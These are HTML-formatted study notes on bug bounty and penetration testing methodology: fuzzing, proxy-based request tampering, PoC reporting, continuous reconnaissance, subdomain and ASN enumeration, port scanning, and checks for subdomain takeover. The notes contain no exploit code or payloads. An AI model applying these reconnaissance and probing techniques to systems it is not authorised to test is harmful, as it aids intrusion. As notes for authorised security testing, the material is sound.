&lt;p&gt;&lt;strong&gt;🔬 Testing Techniques&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;These are the methods used to actively probe targets for vulnerabilities.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Manual Interaction&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; This involves using the application as an end-user would, but with a security mindset.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Proxy Capture:&lt;/strong&gt; Tools like Burp Suite or OWASP ZAP are used to intercept and inspect all HTTP/S requests and responses between your browser and the target application.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tweak Parameters:&lt;/strong&gt; Modify parameters in captured requests (e.g., change values, add special characters, test different data types) to see how the application responds.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Chain Dependent Calls:&lt;/strong&gt; Test sequences of actions that rely on each other (e.g., creating an item, then modifying it, then deleting it). Flaws can emerge in the interactions between these steps, revealing broken business logic (e.g., being able to modify an item after it's "deleted" from the UI but not the backend).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Parameterized Fuzzing&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Fuzzing is an automated software testing technique that involves providing invalid, unexpected, or random data as input to a program. Parameterized fuzzing focuses this on specific HTTP parameters or API endpoints.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Custom Wordlists:&lt;/strong&gt; Instead of generic fuzzing lists, create or use wordlists tailored to the target (e.g., common parameter names, known technologies, business-specific terms).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Kiterunner:&lt;/strong&gt; A tool specifically designed for API/endpoint content discovery and fuzzing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;FFUF (Fuzz Faster U Fool):&lt;/strong&gt; A fast web fuzzer used for discovering hidden directories, files, and parameters by brute-forcing with wordlists.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Goals:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Forced Browse:&lt;/strong&gt; Discovering resources not directly linked from the application.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Parameter Fuzzing:&lt;/strong&gt; Uncovering hidden or unhandled parameters that might lead to vulnerabilities like SQL injection, XSS, or command injection.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Chaining Tools&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Combining the output of one tool as the input for another to create more powerful and comprehensive testing workflows.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Examples:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Amass → FFUF:&lt;/strong&gt; Amass is a powerful tool for subdomain enumeration and network mapping. Its output (list of subdomains) can be fed into FFUF to perform directory/file fuzzing on each discovered subdomain.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Shodan Results → Pinpoint Unusual Protocols/Admin Panels:&lt;/strong&gt; Shodan is a search engine for internet-connected devices. If Shodan reveals open services on non-standard ports or specific server banners, you can investigate these for unusual protocols (e.g., FTP, SSH, databases) or hidden admin panels.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Interactive Analysis&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Using features within security proxies to intelligently test for specific vulnerabilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Burp Suite's Scanner/Intruder "Smart" Mode:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Scanner:&lt;/strong&gt; Automated vulnerability scanning that can be configured for different levels of intensity and types of checks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Intruder:&lt;/strong&gt; A highly configurable tool for automating custom attacks. "Smart" mode implies using its features to generate context-aware or specialized payloads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Edge-Case Inputs:&lt;/strong&gt; Testing with inputs that developers might not have anticipated:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Long Strings:&lt;/strong&gt; Can cause buffer overflows or denial of service.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Null Bytes (&lt;code&gt;%00&lt;/code&gt;):&lt;/strong&gt; Can terminate strings prematurely in some languages, leading to path traversal or other issues.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Unicode Characters:&lt;/strong&gt; Can sometimes bypass filters or cause unexpected behavior in how data is processed or rendered.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;📋 Reporting &amp;amp; Validation&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A clear and concise report is crucial for getting your vulnerability validated and rewarded.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Proof of Concept (PoC)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Provide the minimum, unambiguous steps needed for the security team to reproduce the vulnerability.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Minimal Steps:&lt;/strong&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Request (curl/HTTPraw):&lt;/strong&gt; The exact HTTP request that triggers the vulnerability. &lt;code&gt;curl&lt;/code&gt; commands are often preferred as they are easily runnable. HTTPraw is the raw text of the request.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Modified Payload:&lt;/strong&gt; Clearly indicate what part of the request was modified (e.g., specific parameter, header) and what the malicious payload was.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Successful Response or UI Change:&lt;/strong&gt; Show the evidence of the vulnerability (e.g., the HTTP response containing leaked data, a screenshot of the UI change, error messages indicating successful exploitation).&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Environment Details&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Contextual information that can help the vendor reproduce the issue, especially if it's environment-specific.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;List:&lt;/strong&gt; Application version (if known), browser type and version, operating system, any specific tokens (e.g., session cookies, CSRF tokens) or cookies used during testing.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Screenshots / Logs&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Visual and textual evidence to support your claim.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Capture Before/After with Timestamps:&lt;/strong&gt; Show the state of the application before the exploit and the result after. Timestamps help correlate with server logs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Include Raw HTTP Snippets:&lt;/strong&gt; Relevant portions of requests and responses.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Suggested Fix&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Offering a potential solution demonstrates your understanding and can be helpful to the vendor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;References:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OWASP (Open Web Application Security Project) Guidelines:&lt;/strong&gt; Refer to specific OWASP cheatsheets or recommendations (e.g., for input validation, IDOR prevention).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Common Mitigation Patterns:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Strict ID Validation:&lt;/strong&gt; Ensuring users can only access objects they are authorized for.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Input Sanitization:&lt;/strong&gt; Cleaning user-supplied input to prevent injection attacks (XSS, SQLi, etc.).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Proper CORS (Cross-Origin Resource Sharing) Config:&lt;/strong&gt; Preventing unauthorized cross-domain requests.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Re-Test After Patch&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Once the vendor claims to have fixed the issue, verify their solution.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Confirmation:&lt;/strong&gt; Ensure the original vulnerability is no longer exploitable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Regression Testing:&lt;/strong&gt; Check that the fix hasn't inadvertently broken legitimate functionality or introduced new vulnerabilities.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;🔄 Iterative Recon &amp;amp; Monitoring&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Reconnaissance is not a one-time activity; it's an ongoing process as applications and infrastructure evolve.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Passive Monitoring&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Continuously gathering information without actively probing the target.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Subfinder + Amass:&lt;/strong&gt; Tools for discovering subdomains.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Passive Sources:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;crt.sh:&lt;/strong&gt; A website that logs SSL certificates, often revealing new subdomains when certificates are issued.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Certificate Transparency (CT) Logs:&lt;/strong&gt; Public logs of all issued SSL/TLS certificates. Monitoring these can uncover new assets.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Goal:&lt;/strong&gt; Catch new subdomains as they come online.&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Alerting&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Setting up automated notifications for changes in the target's attack surface.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Triggers:&lt;/strong&gt; New technologies detected (e.g., a new JavaScript library, a different web server), new API endpoints appearing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Automation Examples:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;GitHub Actions Workflows:&lt;/strong&gt; Custom scripts run on a schedule or triggered by events.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;CI/CD (Continuous Integration/Continuous Deployment) Logs:&lt;/strong&gt; If accessible, these might indicate new deployments or features.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Periodic Re-Scans&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Regularly re-running your reconnaissance and scanning tools against high-value domains.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Schedule:&lt;/strong&gt; E.g., weekly scans to detect changes in assets, open ports, or web technologies.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Changelog &amp;amp; Patch Notes&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Monitoring official communications from the vendor.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; New features often introduce new code and, potentially, new vulnerabilities. Changelogs can highlight areas to focus on.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;🚀 Continuous Improvement&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Refining your process and skills over time.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Post-Mortem&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; After submitting a bug report (successful or not), review your process.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Analysis:&lt;/strong&gt; What techniques worked well? Where was time wasted? Was the reward commensurate with the effort? This helps optimize future hunting.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Knowledge Sharing (Personal Wiki)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Maintain a personal database of information gathered about specific vendors or targets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Content:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Default Headers:&lt;/strong&gt; Common headers used by the target's applications.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Known WAF (Web Application Firewall) Fingerprints:&lt;/strong&gt; How to identify the WAF in use and potentially bypass it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Quirks:&lt;/strong&gt; Any unusual behaviors or configurations specific to a target.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Skill Growth&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Actively working to improve your technical abilities.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Practice Labs:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;OWASP Juice Shop:&lt;/strong&gt; An intentionally insecure web application for learning and practicing web hacking.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;HackTheBox:&lt;/strong&gt; A platform with vulnerable machines and challenges.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;CTFs (Capture The Flag Competitions):&lt;/strong&gt; Challenges focused on API security and business logic flaws can be particularly relevant.&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;🎯 Purpose of Reconnaissance&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The core reasons why reconnaissance is performed.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Information Gathering:&lt;/strong&gt; Collect data on:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Subdomains:&lt;/strong&gt; e.g., &lt;code&gt;dev.example.com&lt;/code&gt;, &lt;code&gt;api.example.com&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Open Ports:&lt;/strong&gt; Network ports listening for connections (e.g., 80 for HTTP, 443 for HTTPS, 22 for SSH).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hidden Directories:&lt;/strong&gt; Web directories not directly linked from the site.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Services:&lt;/strong&gt; Software running on open ports (e.g., web servers, databases, mail servers).&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Attack Surface Mapping:&lt;/strong&gt; Identify all potential entry points and externally accessible assets an attacker could target. A larger, well-mapped attack surface increases the chances of finding vulnerabilities.&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Understanding Infrastructure:&lt;/strong&gt; Gain insights into:

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Server Details:&lt;/strong&gt; Operating systems, web server software (Apache, Nginx), etc.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hosting Environments:&lt;/strong&gt; Cloud providers (AWS, Azure, GCP), on-premise data centers.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;WAF Implementations:&lt;/strong&gt; Identify if a Web Application Firewall is in use and potentially what type, which can affect testing strategies.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;📝 Important Notes&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Key takeaways and cautions for reconnaissance.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Quality Over Quantity:&lt;/strong&gt; Simply running many automated tools can generate a lot of noise, duplicate findings (already reported by others), or low-severity issues. Focus on meaningful discovery.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Focus on High-Impact Bugs:&lt;/strong&gt; Top bug bounty hunters often prioritize finding significant vulnerabilities (e.g., Remote Code Execution, SQL Injection, serious business logic flaws) that have a greater impact and are often overlooked by purely automated approaches.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tailored Approach:&lt;/strong&gt; Reconnaissance strategies should not be one-size-fits-all. Adapt your methods based on the specific target, the scope of the engagement (bug bounty vs. penetration test), and the time available.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;📌 Recon Based on Scope&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;How the nature of the engagement influences reconnaissance.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Bug Bounty Programs&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Broad Scope:&lt;/strong&gt; Often include &lt;code&gt;*.company.com&lt;/code&gt; or even all assets owned by the company. This provides a large area to explore.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time Flexibility:&lt;/strong&gt; Researchers can usually report vulnerabilities whenever they find them, without strict deadlines (unless it's a time-limited event).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Asset Discovery:&lt;/strong&gt; Actively finding new, previously unknown assets (including those from newly acquired companies) is often encouraged and can lead to unique findings.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;Penetration Testing&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Defined Scope:&lt;/strong&gt; Typically limited to specific domains, applications, or IP ranges explicitly agreed upon beforehand.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Time-Bound:&lt;/strong&gt; Conducted over a predetermined period (e.g., 1 to 3 weeks). Efficiency is key.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Restricted Recon:&lt;/strong&gt; Certain activities might be explicitly out of scope, such as extensive subdomain enumeration on unrelated parent domains or crawling internet archives for historical data, to keep the focus tight.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;🔍 Reconnaissance Process&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;A more granular breakdown of reconnaissance steps, often forming a repeatable methodology.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;1. Asset Discovery&lt;/strong&gt; (Initial broad steps to find company-owned entities)&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Acquisitions:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; When a company acquires another, the acquired company's assets often become in-scope. Identifying these can reveal new targets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Platforms:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Crunchbase:&lt;/strong&gt; Database of companies, investors, and funding.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tracxn:&lt;/strong&gt; Platform for tracking startups and private companies.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Owler:&lt;/strong&gt; Business information and competitive insights.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;WHOIS Data:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Domain registration information (registrant name, organization, contact email, nameservers) can link different domains owned by the same entity.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Reverse WHOIS:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Use registrant information (like an email or name) found from a WHOIS lookup to find other domains registered by that same entity.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;1. Identify the Root Domain (Reiteration/Alternative Starting Point)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Start with the main, publicly known domain (e.g., &lt;code&gt;company.com&lt;/code&gt;). This forms the basis for subsequent subdomain discovery.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;2. Research Acquisitions and Company History (Reiteration)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Detail:&lt;/strong&gt; Understand company growth, mergers, and acquisitions. This can reveal related domains or older, potentially less secure, infrastructure.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Crunchbase, Wikipedia, Google searches.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;3. Perform Reverse WHOIS Lookup (Reiteration)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; Whoxy.com, or general Google searches for registrant emails/names.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;4. Analyze Technologies and Analytics&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Identify the software stack (programming languages, frameworks, web servers, analytics tools, etc.) used by the target. Knowing the technology helps in tailoring attacks (e.g., specific exploits for a known version of a CMS).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools/Extensions:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Wappalyzer:&lt;/strong&gt; Browser extension and tool to identify technologies on websites.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;BuiltWith:&lt;/strong&gt; Website and tool providing technology profiles of websites.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;5. Enumerate Subdomains&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Find all subdomains associated with the root domains (e.g., &lt;code&gt;blog.company.com&lt;/code&gt;, &lt;code&gt;api.company.com&lt;/code&gt;, &lt;code&gt;dev.company.com&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Amass:&lt;/strong&gt; Comprehensive tool for active and passive subdomain enumeration, network mapping.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sublist3r:&lt;/strong&gt; Passive subdomain enumeration tool using search engines and third-party services.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DNSDumpster:&lt;/strong&gt; Web-based tool for DNS reconnaissance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MassDNS:&lt;/strong&gt; A high-performance DNS resolver often used for brute-forcing subdomains with large wordlists.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Wordlists:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;JHaddix's all.txt:&lt;/strong&gt; A popular and comprehensive wordlist for subdomain brute-forcing.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;6. Gather ASN Information&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; An Autonomous System Number (ASN) is a unique number assigned to an Autonomous System (AS), which is a collection of IP networks operated by one or more network operators that has a single and clearly defined external routing policy. Identifying ASNs associated with a target can reveal entire IP ranges owned by them.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Benefit:&lt;/strong&gt; Helps map the organization's network presence.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;7. Conduct Port Scanning&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Identify open network ports on discovered subdomains and IP addresses. Each open port might be running a service that could be an entry point.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Nmap (Network Mapper):&lt;/strong&gt; A powerful open-source tool for network discovery and security auditing, including port scanning, OS detection, and service version detection.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;8. Document Findings&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Take visual snapshots of web applications and document anything unusual or noteworthy. This helps in later analysis, prioritization, and reporting.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Eyewitness:&lt;/strong&gt; Takes screenshots of websites, provides some server header information, and can identify default credentials.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Aquatone:&lt;/strong&gt; Similar to Eyewitness, used for visual inspection of websites across a large number of hosts.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;9. Check for Subdomain Takeovers&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; A subdomain takeover occurs when a subdomain (e.g., &lt;code&gt;info.company.com&lt;/code&gt;) has a DNS record (e.g., CNAME) pointing to a third-party service (e.g., GitHub Pages, Heroku, S3 bucket), but the service is no longer configured or the account has been deleted. An attacker can then claim this orphaned service endpoint and host malicious content on the legitimate subdomain.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;p&gt;&lt;strong&gt;2. ASN and IP Analysis (More Detail/Consolidation)&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Autonomous System Numbers (ASNs):&lt;/strong&gt; (As described above)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hurricane Electric BGP Toolkit (he.net):&lt;/strong&gt; Web-based tool to explore BGP (Border Gateway Protocol) information and ASNs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;amass intel -asn &amp;lt;ASN&amp;gt;&lt;/code&gt;:&lt;/strong&gt; Amass can use ASN to find associated CIDRs/IP ranges.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;asnmap&lt;/code&gt;:&lt;/strong&gt; Tool to map ASNs to IP ranges.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Reverse DNS:&lt;/strong&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Purpose:&lt;/strong&gt; Look up domain names associated with a given IP address.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tools:&lt;/strong&gt; &lt;code&gt;hakrevdns&lt;/code&gt; can perform reverse DNS lookups on a list of IPs.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

